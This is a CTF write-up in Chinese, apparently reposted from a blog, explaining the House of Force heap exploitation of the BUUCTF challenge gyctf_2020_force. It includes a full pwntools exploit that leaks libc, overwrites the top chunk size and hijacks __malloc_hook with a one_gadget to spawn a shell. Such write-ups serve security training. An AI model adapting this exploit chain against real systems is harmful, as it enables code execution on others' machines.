BUUCTF-PWN gyctf_2020_force(house of force)

程序分析

在这里插入图片描述
程序只有添加功能,puts功能没有用
在这里插入图片描述
添加功能中,有三个注意点

  1. chunk大小没有限制
  2. 可以获得分配空间的地址
  3. 读入长度固定为0x50
    在这里插入图片描述

漏洞分析

根据题目force,可以联想到house of force堆利用方法
以下内容取自ctf-wiki

House Of Force 是一种堆利用方法,但是并不是说 House Of Force 必须得基于堆漏洞来进行利用。如果一个堆 (heap based) 漏洞想要通过 House Of Force 方法进行利用,需要以下条件:

  1. 能够以溢出等方式控制到 top chunk 的 size 域
  2. 能够自由地控制堆分配尺寸的大小

对于条件1,只要我们申请的空间小于0x48都可以实现
对于条件2,本题并没有限制分配空间大小,而在大多数堆题目中都对大小进行了限制,一般不会大于4096

漏洞利用

第一步是泄露libc地址,当我们申请一个极大Chunk时,程序会调用mmap进行内存分配,分配下来的地址之后就是是libc
如下图所示,我们得到的地址为0x7fef2dbc4010,而Libc地址为0x7fef2ddc5000
在这里插入图片描述
第二步需要把top chunk大小改为0xFFFFFFFFFFFFFFFF,这样我们才能不限制地进行分配,这是因为malloc时会进行如下检查

(unsigned long) (size) >= (unsigned long) (nb + MINSIZE)

如果我们把top chunk大小改为0xFFFFFFFFFFFFFFFF,进行比较的时候会按照无符号数进行比较,就一定能通过检查,在进行此次分配时,我们还能顺便得到heap chunk的地址,并计算top chunk地址,之后计算malloc_hook与top chunk的偏移,记为offset

第三步需要分配offset -0x33(经过调试得到)的大小,此时我们得到的地址为__malloc_hook-0x10,这是因为本题中One_gadget需要利用realloc对栈进行调整
在这里插入图片描述

EXP

from pwn import *

r = remote("node3.buuoj.cn", 25023)
#r = process("./gyctf_2020_force")

context.log_level = 'debug'

elf = ELF("./gyctf_2020_force")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]

def add(size, content):
	r.recvuntil("2:puts\n")
	r.sendline('1')
	r.recvuntil("size\n")
	r.sendline(str(size))
	r.recvuntil("bin addr ")
	addr = int(r.recvuntil('\n').strip(), 16)
	r.recvuntil("content\n")
	r.send(content)
	return addr


def show(index):
	r.recvuntil("2:puts\n")
	r.sendline('2')

libc.address = add(0x200000, 'chunk0\n') + 0x200ff0
success('libc_base'+hex(libc.address))
heap_addr = add(0x18, 'a'*0x10+p64(0)+p64(0xFFFFFFFFFFFFFFFF))
success("heap_addr:"+hex(heap_addr))
top = heap_addr + 0x10
malloc_hook = libc.sym['__malloc_hook']
success("malloc_hook"+hex(malloc_hook))
one_gadget = one_gadget_16[1] + libc.address
realloc = libc.sym["__libc_realloc"]
offset = malloc_hook - top
system = libc.sym['system']
bin_sh = libc.search('/bin/sh').next()
success("system:" + hex(system))
success("bin_sh" + hex(bin_sh))


add(offset-0x33, 'aaa\n')
add(0x10, 'a'*8+p64(one_gadget)+p64(realloc+0x10))
r.recvuntil("2:puts\n")
r.sendline('1')
r.recvuntil("size\n")
r.sendline(str(20))

r.interactive()

发布了28 篇原创文章 · 获赞 4 · 访问量 2551

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/105522043